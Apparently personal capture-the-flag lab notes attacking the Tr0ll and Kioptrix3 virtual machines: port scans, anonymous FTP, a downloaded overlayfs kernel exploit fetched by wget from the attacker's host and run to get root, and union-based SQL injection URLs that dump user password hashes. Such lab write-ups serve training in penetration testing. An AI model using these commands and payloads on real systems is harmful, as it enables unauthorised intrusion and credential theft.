tr0ll

currently scanning: Finished! | Screen View: Unique Hosts

48 Captured ARP Req/Rep packets, from 5 hosts. Total size: 2880

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.31.1	00:50:56:c0:00:08	38	2280	VMware, Inc.
192.168.31.2	00:50:56:e5:d7:98	4	240	VMware, Inc.
192.168.31.143	00:0c:29:6f:6c:05	1	60	VMware, Inc.
192.168.31.254	00:50:56:ee:0b:fe	3	180	VMware, Inc.
192.168.31.140	00:0c:29:82:70:53	2	120	VMware, Inc.

nmap

```
nmap -Pn -n -A -p- 192.168.31.140
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-13 17:47 EDT
Nmap scan report for 192.168.31.140
Host is up (0.0011s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 1000     0            8068 Aug 10  2014 lol.pcap [NSE: writeable]
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.31.152
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 600
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 5
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
|   2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|   256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_  256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/secret
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:82:70:53 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.13 ms 192.168.31.140

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.37 seconds
```

web

http://192.168.31.140/robots.txt

User-agent:*
Disallow: /secret

http://192.168.31.140/sup3rs3cr3tdirlol/

Index of /sup3rs3cr3tdirlol

Apache/2.4.7 (Ubuntu) Server at 192.168.31.140 Port 80

==========

http://192.168.31.140/0x0856BF/

Apache/2.4.7 (Ubuntu) Server at 192.168.31.140 Port 80

==========
http://192.168.31.140/0x0856BF/good_luck/which_one_lol.txt

maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow

==========

http://192.168.31.140/0x0856BF/this_folder_contains_the_password/Pass.txt

Good_job_:)

nikto

```
# nikto -h 192.168.31.140
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.31.140
+ Target Hostname:    192.168.31.140
+ Target Port:        80
+ Start Time:         2019-09-13 17:47:41 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different
fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/secret/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7916 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2019-09-13 17:48:18 (GMT-4) (37 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

dirb

```
# dirb http://192.168.31.140

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri Sep 13 17:50:49 2019
URL_BASE: http://192.168.31.140/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.31.140/ ----
+ http://192.168.31.140/index.html (CODE:200|SIZE:36)
+ http://192.168.31.140/robots.txt (CODE:200|SIZE:31)
==> DIRECTORY: http://192.168.31.140/secret/
+ http://192.168.31.140/server-status (CODE:403|SIZE:294)

---- Entering directory: http://192.168.31.140/secret/ ----
+ http://192.168.31.140/secret/index.html (CODE:200|SIZE:37)

-----------------
END_TIME: Fri Sep 13 17:51:02 2019
DOWNLOADED: 9224 - FOUND: 4
```

ftp

```
root@kali:~# ftp 192.168.31.140
Connected to 192.168.31.140.
220 (vsFTPd 3.0.2)
Name (192.168.31.140:root): anonymous
331 Please specify the password.
Password:
```

```
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx    1 1000     0            8068 Aug 10  2014 lol.pcap
226 Directory send OK.
ftp> export lol.pcap
?Invalid command
ftp> get lol.pacp
local: lol.pacp remote: lol.pacp
200 PORT command successful. Consider using PASV.
550 Failed to open file.
ftp> list
?Invalid command
ftp> ?
Commands may be abbreviated.  Commands are:

!           dir         mdelete         qcsite
$           disconnect      mdir            sendport  size
account         exit        mget            putstatus
append          form            mkdir           pwdstruct
ascii           get         mls         quit        system
bell        glob        mode            quote           sunique
binary          hash            modtime         recv        tenex
bye         help        mput            reget           tick
case            idle        newer           rstatus         trace
cd          image           nmap            rhelp           type
cdup            ipany           nlist       rename          user
chmod           ipv4        ntrans          reset           umask
close           ipv6        open            restart         verbose
cr          lcd         prompt          rmdir           ?
delete          ls          passive         runique
debug           macdef          proxy           send
ftp> get lol.pcap
local: lol.pcap remote: lol.pcap
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for lol.pcap (8068 bytes).
226 Transfer complete.
8068 bytes received in 0.09 secs (87.0367 kB/s)
ftp>

==============================


root@kali:/home# ls
40839  dirty  lol.pcap
root@kali:/home#


===========
Frame 40: 213 bytes on wire (1704 bits), 213 bytes captured (1704 bits) on interface 0
Ethernet II, Src: Vmware_20:70:99 (00:0c:29:20:70:99), Dst: Vmware_5d:04:92 (00:0c:29:5d:04:92)
Internet Protocol Version 4, Src: 10.0.0.6, Dst: 10.0.0.12
Transmission Control Protocol, Src Port: 20, Dst Port: 51884, Seq: 1, Ack: 1, Len: 147
FTP Data (147 bytes data)
[Setup frame: 33]
[Setup method: PORT]
[Command: RETR secret_stuff.txt]
Command frame: 35
[Current working directory: ]
Line-based text data (3 lines)
    Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P\n
    \n
    Sucks, you were so close... gotta TRY HARDER!\n


=============

 wireshark lol.pcap
```

rofalmo

root@kali:~/Downloads# objdump -s roflmao

roflmao: file format elf32-i386

```
Contents of section .interp:
 8048154 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
 8048164 2e3200                               .2.
Contents of section .note.ABI-tag:
 8048168 04000000 10000000 01000000 474e5500  ............GNU.
 8048178 00000000 02000000 06000000 18000000  ................
Contents of section .note.gnu.build-id:
 8048188 04000000 14000000 03000000 474e5500  ............GNU.
 8048198 5e14420e aa59e599 c2f50849 0483d959  ^.B..Y.....I...Y
 80481a8 f3d2cf4f                             ...O
Contents of section .gnu.hash:
 80481ac 02000000 04000000 01000000 05000000  ................
 80481bc 00200020 00000000 04000000 ad4be3c0  . . ........K..
Contents of section .dynsym:
 80481cc 00000000 00000000 00000000 00000000  ................
 80481dc 1a000000 00000000 00000000 12000000  ................
 80481ec 33000000 00000000 00000000 20000000  3........... ...
 80481fc 21000000 00000000 00000000 12000000  !...............
 804820c 0b000000 cc840408 04000000 11000f00  ................
Contents of section .dynstr:
 804821c 006c6962 632e736f 2e36005f 494f5f73  .libc.so.6._IO_s
 804822c 7464696e 5f757365 64007072 696e7466  tdin_used.printf
 804823c 005f5f6c 6962635f 73746172 745f6d61  .__libc_start_ma
 804824c 696e005f 5f676d6f 6e5f7374 6172745f  in.__gmon_start_
 804825c 5f00474c 4942435f 322e3000           _.GLIBC_2.0.
Contents of section .gnu.version:
 8048268 00000200 00000200 0100               ..........
Contents of section .gnu.version_r:
 8048274 01000100 01000000 10000000 00000000  ................
 8048284 1069690d 00000200 42000000 00000000  .ii.....B.......
Contents of section .rel.dyn:
 8048294 fc9f0408 06020000                    ........
Contents of section .rel.plt:
 804829c 0ca00408 07010000 10a00408 07020000  ................
 80482ac 14a00408 07030000                    ........
Contents of section .init:
 80482b4 5383ec08 e8930000 0081c343 1d00008b  S..........C....
 80482c4 83fcffff ff85c074 05e82e00 000083c4  .......t........
 80482d4 085bc3                               .[.
Contents of section .plt:
 80482e0 ff3504a0 0408ff25 08a00408 00000000  .5.....%........
 80482f0 ff250ca0 04086800 000000e9 e0ffffff  .%....h.........
 8048300 ff2510a0 04086808 000000e9 d0ffffff  .%....h.........
 8048310 ff2514a0 04086810 000000e9 c0ffffff  .%....h.........
Contents of section .text:
 8048320 31ed5e89 e183e4f0 50545268 b0840408  1.^.....PTRh....
 8048330 68408404 08515668 1d840408 e8cfffff  h@...QVh........
 8048340 fff46690 66906690 66906690 66906690  ..f.f.f.f.f.f.
 8048350 8b1c24c3 66906690 66906690 66906690  ..$.f.f.f.f.f.f.
 8048360 b823a004 082d20a0 040883f8 067701c3  .#...- ......w..
 8048370 b8000000 0085c074 f65589e5 83ec18c7  .......t.U......
 8048380 042420a0 0408ffd0 c9c38db6 00000000  .$ ............
 8048390 b820a004 082d20a0 0408c1f8 0289c2c1  . ...- .........
 80483a0 ea1f01d0 d1f87501 c3ba0000 000085d2  ......u.........
 80483b0 74f65589 e583ec18 89442404 c7042420  t.U......D$...$
 80483c0 a00408ff d2c9c389 f68dbc27 00000000  ...........'....
 80483d0 803d20a0 04080075 135589e5 83ec08e8  .= ....u.U......
```

```
 80483e0 7cffffff c60520a0 040801c9 f3c36690  |..... .......f.
 80483f0 a1109f04 0885c074 1fb80000 000085c0  .......t........
 8048400 74165589 e583ec18 c7042410 9f0408ff  t.U.......$.....
 8048410 d0c9e979 ffffff90 e973ffff ff5589e5  ...y.....s...U..
 8048420 83e4f083 ec10c704 24d08404 08e8befe  ........$.......
 8048430 ffffc9c3 66906690 66906690 66906690  ....f.f.f.f.f.f.
 8048440 555731ff 5653e805 ffffff81 c3b51b00  UW1.VS..........
 8048450 0083ec1c 8b6c2430 8db30cff ffffe851  .....l$0.......Q
 8048460 feffff8d 8308ffff ff29c6c1 fe0285f6  .........)......
 8048470 74278db6 00000000 8b442438 892c2489  t'.......D$8.,$.
 8048480 4424088b 44243489 442404ff 94bb08ff  D$..D$4.D$......
 8048490 ffff83c7 0139f775 df83c41c 5b5e5f5d  .....9.u....[^_]
 80484a0 c3eb0d90 90909090 90909090 90909090  ................
 80484b0 f3c3                                 ..
Contents of section .fini:
 80484b4 5383ec08 e893feff ff81c343 1b000083  S..........C....
 80484c4 c4085bc3                             ..[.
Contents of section .rodata:
 80484c8 03000000 01000200 46696e64 20616464  ........Find add
 80484d8 72657373 20307830 38353642 4620746f  ress 0x0856BF to
 80484e8 2070726f 63656564 00                  proceed.
Contents of section .eh_frame_hdr:
 80484f4 011b033b 28000000 04000000 ecfdffff  ...;(...........
 8048504 44000000 29ffffff 68000000 4cffffff  D...)...h...L...
 8048514 88000000 bcffffff c4000000           ............
Contents of section .eh_frame:
 8048520 14000000 00000000 017a5200 017c0801  .........zR..|..
 8048530 1b0c0404 88010000 20000000 1c000000  ........ .......
 8048540 a0fdffff 40000000 000e0846 0e0c4a0f  ....@......F..J.
 8048550 0b740478 003f1a3b 2a322422 1c000000  .t.x.?.;*2$".....
 8048560 40000000 b9feffff 17000000 00410e08  @.............A..
 8048570 8502420d 0553c50c 04040000 38000000  ..B..S......8...
 8048580 60000000 bcfeffff 61000000 00410e08  `.......a....A..
 8048590 8502410e 0c870343 0e108604 410e1483  ..A....C....A...
 80485a0 054e0e30 02480e14 41c30e10 41c60e0c  .N.0.H..A...A...
 80485b0 41c70e08 41c50e04 10000000 9c000000  A...A...........
 80485c0 f0feffff 02000000 00000000 00000000  ................
Contents of section .init_array:
 8049f08 f0830408                             ....
Contents of section .fini_array:
 8049f0c d0830408                             ....
Contents of section .jcr:
 8049f10 00000000                             ....
Contents of section .dynamic:
 8049f14 01000000 01000000 0c000000 b4820408  ................
 8049f24 0d000000 b4840408 19000000 089f0408  ................
 8049f34 1b000000 04000000 1a000000 0c9f0408  ................
 8049f44 1c000000 04000000 f5feff6f ac810408  ...........o....
 8049f54 05000000 1c820408 06000000 cc810408  ................
 8049f64 0a000000 4c000000 0b000000 10000000  ....L...........
 8049f74 15000000 00000000 03000000 00a00408  ................
 8049f84 02000000 18000000 14000000 11000000  ................
 8049f94 17000000 9c820408 11000000 94820408  ................
 8049fa4 12000000 08000000 13000000 08000000  ................
 8049fb4 feffff6f 74820408 ffffff6f 01000000  ...ot......o....
 8049fc4 f0ffff6f 68820408 00000000 00000000  ...oh...........
 8049fd4 00000000 00000000 00000000 00000000  ................
 8049fe4 00000000 00000000 00000000 00000000  ................
 8049ff4 00000000 00000000                    ........
Contents of section .got:
 8049ffc 00000000                             ....
Contents of section .got.plt:
 804a000 149f0408 00000000 00000000 f6820408  ................
 804a010 06830408 16830408                    ........
Contents of section .data:
 804a018 00000000 00000000                    ........
Contents of section .comment:
 0000 4743433a 20285562 756e7475 20342e38  GCC: (Ubuntu 4.8
 0010 2e322d31 39756275 6e747531 2920342e  .2-19ubuntu1) 4.
 0020 382e3200                             8.2.
root@kali:~/Downloads#
```

ssh

shh overflow@192.168.31.140
bash: shh: command not found
root@kali:/home# ssh overflow@192.168.31.140
The authenticity of host '192.168.31.140 (192.168.31.140)' can't be established.
ECDSA key fingerprint is SHA256:aifInt5MUU8pBMSjpS188RmsVqEwF+rj4na7UyLYCD0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.31.140' (ECDSA) to the list of known hosts.
overflow@192.168.31.140's password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)

 * Documentation: https://help.ubuntu.com/

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Tue Aug 27 09:35:53 2019 from 192.168.31.142
Could not chdir to home directory /home/overflow: No such file or directory
$

→ password -- Pass.txt

---

privige escilation

 sudo -l
sudo: unable to resolve host troll
[sudo] password for overflow:
Sorry, user overflow may not run sudo on troll.
$ find / -u=-s 2/dev/null
find: unknown predicate `-u=-s'
$ find / -perm -u=s -type f 2>/dev/null
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/su

/bin/ping
/bin/fusermount
/bin/ping6
/bin/mount
/bin/umount

---

searchsploit

Send exploit with SimpleHttpServer

root@kali:/home# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.31.140 - - [13/Sep/2019 18:34:22] "GET /37292.c HTTP/1.1" 200 -

searchsploit linux 3.13
---------- ----------
Exploit Title | Path
| (/usr/share/exploitdb/)
---------- ----------
Linux Kernel 3.13 - SGID Privilege Escalation | exploits/linux/local/33824.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - | exploits/linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - | exploits/linux/local/37293.txt
Linux Kernel 3.13.1 - 'Recvmmsg' Local Privilege Escalation (M | exploits/linux/local/40503.rb
Linux Kernel 3.13/3.14 (Ubuntu) - 'splice()' System Call Local | exploits/linux/dos/36743.c
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.04/13.10 x64) - 'CONFIG_X | exploits/linux_x86-64/local/31347.c
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.10) - 'CONFIG_X86_X32' Ar | exploits/linux/local/31346.c
Linux Kernel 3.4 < 3.13.2 - recvmmsg x32 compat (PoC) | exploits/linux/dos/31305.c
id Software Solaris Quake II 3.13/3.14 / QuakeWorld 2.0/2.1 / | exploits/linux/remote/19079.c
pam-krb5 < 3.13 - Local Privilege Escalation | exploits/linux/local/8303.c
---------- ----------
Shellcodes: No Result
root@kali:/home# searchsploit -m exploits/linux/local/37292.c
Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/37292
Path: /usr/share/exploitdb/exploits/linux/local/37292.c
File Type: C source, ASCII text, with very long lines, with CRLF line terminators

cp: overwrite '/home/37292.c'?
Copied to: /home/37292.c

root@kali:/home# cp /usr/share/exploitdb/exploits/linux/local/37292.c .
root@kali:/home#

final exploit

overflow@troll:/tmp$ wget http://192.168.31.152/37292.c

```
--2019-09-13 15:34:27--  http://192.168.31.152/37292.c
Connecting to 192.168.31.152:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/plain]
Saving to: '37292.c'

100%[======================================================================>] 5,119       --.-
K/s   in 0s

2019-09-13 15:34:27 (573 MB/s) - '37292.c' saved [5119/5119]

overflow@troll:/tmp$ ls
37292.c
overflow@troll:/tmp$ gcc 37292.c -o a
overflow@troll:/tmp$ chmod +x a
overflow@troll:/tmp$ ./a
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# i
sh: 1: i: not found
# id
uid=0(root) gid=0(root) groups=0(root),1002(overflow)
#
```

kioptrix3

```
 Currently scanning: 192.168.47.0/16   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.31.1    00:50:56:c0:00:08      1      60  VMware, Inc.
 192.168.31.2    00:50:56:e5:d7:98      1      60  VMware, Inc.
 192.168.31.143  00:0c:29:6f:6c:05      1      60  VMware, Inc.
 192.168.31.254  00:50:56:ee:0b:fe      1      60  VMware, Inc.


 IP address  :-- 192.168.31.143
```

add host ip in kali

```
 root@kali:~# cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
192.168.31.143      kioptrix3.com
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

nmap

```
nmap -Pn -n -A -p- 192.168.31.143
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-13 07:20 EDT
Nmap scan report for 192.168.31.143
Host is up (0.0011s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
```

```
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 00:0C:29:6F:6C:05 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.14 ms 192.168.31.143

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.02 seconds
```

```
nmap -Pn -n -p80 --script=http-enum 192.168.31.143
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-13 07:21 EDT
Nmap scan report for 192.168.31.143
Host is up (0.00036s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum:
|   /phpmyadmin/: phpMyAdmin
|   /cache/: Potentially interesting folder
|   /core/: Potentially interesting folder
|   /icons/: Potentially interesting folder w/ directory listing
|   /modules/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch'
|_  /style/: Potentially interesting folder
MAC Address: 00:0C:29:6F:6C:05 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.71 seconds
```

nikto

```
nikto -h 192.168.31.143
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.31.143
+ Target Hostname:    192.168.31.143
+ Target Port:        80
+ Start Time:         2019-09-13 07:20:49 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different
fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /favicon.ico, inode: 631780, size: 23126, mtime: Fri Jun  5 15:22:00
2009
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current
```

release for each branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 7914 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time: 2019-09-13 07:21:24 (GMT-4) (35 seconds)

+ 1 host(s) tested

meta

msf5 > search openssh 4.7p1

Matching Modules
==========

#	Name	Disclosure Date	Rank	Check	Description
1	auxiliary/scanner/ssh/ssh_enumusers		normal	Yes	SSH Username Enumeration
2	exploit/windows/local/trusted_service_path	2001-10-25	excellent	Yes	Windows Service Trusted Path Privilege Escalation
3	post/multi/gather/ssh_creds		normal	No	Multi Gather OpenSSH PKI Credentials Collection
4	post/windows/manage/forward_pageant		normal	No	Forward SSH Agent Requests To Remote Pageant

msf5 > use auxiliary/scanner/ssh/ssh_enumusers
msf5 auxiliary(scanner/ssh/ssh_enumusers) > show options

Module options (auxiliary/scanner/ssh/ssh_enumusers):

Name	Current Setting	Required	Description
CHECK_FALSE	false	no	Check for false positives (random username)
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target address range or CIDR identifier
RPORT	22	yes	The target port
THREADS	1	yes	The number of concurrent threads
THRESHOLD	10	yes	Amount of seconds needed before a user is considered found (timing attack only)
USERNAME		no	Single username to test (username spray)
USER_FILE		no	File containing usernames, one per line

Auxiliary action:

Name	Description
Malformed Packet	Use a malformed packet

msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.13.143
rhosts => 192.168.13.143
msf5 auxiliary(scanner/ssh/ssh_enumusers) > exploit

[*] 192.168.13.143:22 - SSH - Using malformed packet technique

[-] Please populate USERNAME or USER_FILE
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_enumusers) > locate usernames
[*] exec: locate usernames

/usr/share/commix/src/txt/usernames.txt
/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/metasploit-credential-3.0.3/spec/factories/metasploit/credential/blank_usernames.rb
/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/metasploit-credential-3.0.3/spec/factories/metasploit/credential/usernames.rb
/usr/share/nmap/nselib/data/usernames.lst
/usr/share/pipal/checkers_available/usernames.rb
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/commix/src/txt/usernames.txt
USER_FILE => /usr/share/commix/src/txt/usernames.txt
msf5 auxiliary(scanner/ssh/ssh_enumusers) > RUN
[-] Unknown command: RUN.
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run

sql_inj

kioptrix3.com/gallery/gallery.php?id=1' &sort=photoid#photos

http://kioptrix3.com/gallery/gallery.php?id=1%20order%20by%207%20--%20&sort=photoid#photos

http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%20all%201,2,3,4,5,6--%20&sort=photoid#photos

http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%20all%201,2,database(),4,5,6--%20&sort=photoid#photos

gallery database

version - 5.0.51a-3ubuntu5.4

http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%20all%201,2,group_concat(table_name),4,5,6%20from%20information_schema.tables%20--&sort=photoid#photos

tables :-

CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,

http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%20all%201,2,group_concat(column_name),4,5,6%20from%20information_schema.columns%20where%20table_schema=database()%20--&sort=photoid#photos

columns : -

id,username,password,commentid,photoid,name,email,comment,dateadded,status,link,userid,galleryid,name,description,created,p

http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%20all%201,2,group_concat(username,0xA,password),4,5,6%20from%20dev_accounts--&sort=photoid#photos

dreg - 0d3eccfb887aabd50f243b3f155c0f85,

loneferret - 5badcaf789d3d1d09794d8f021f40f0e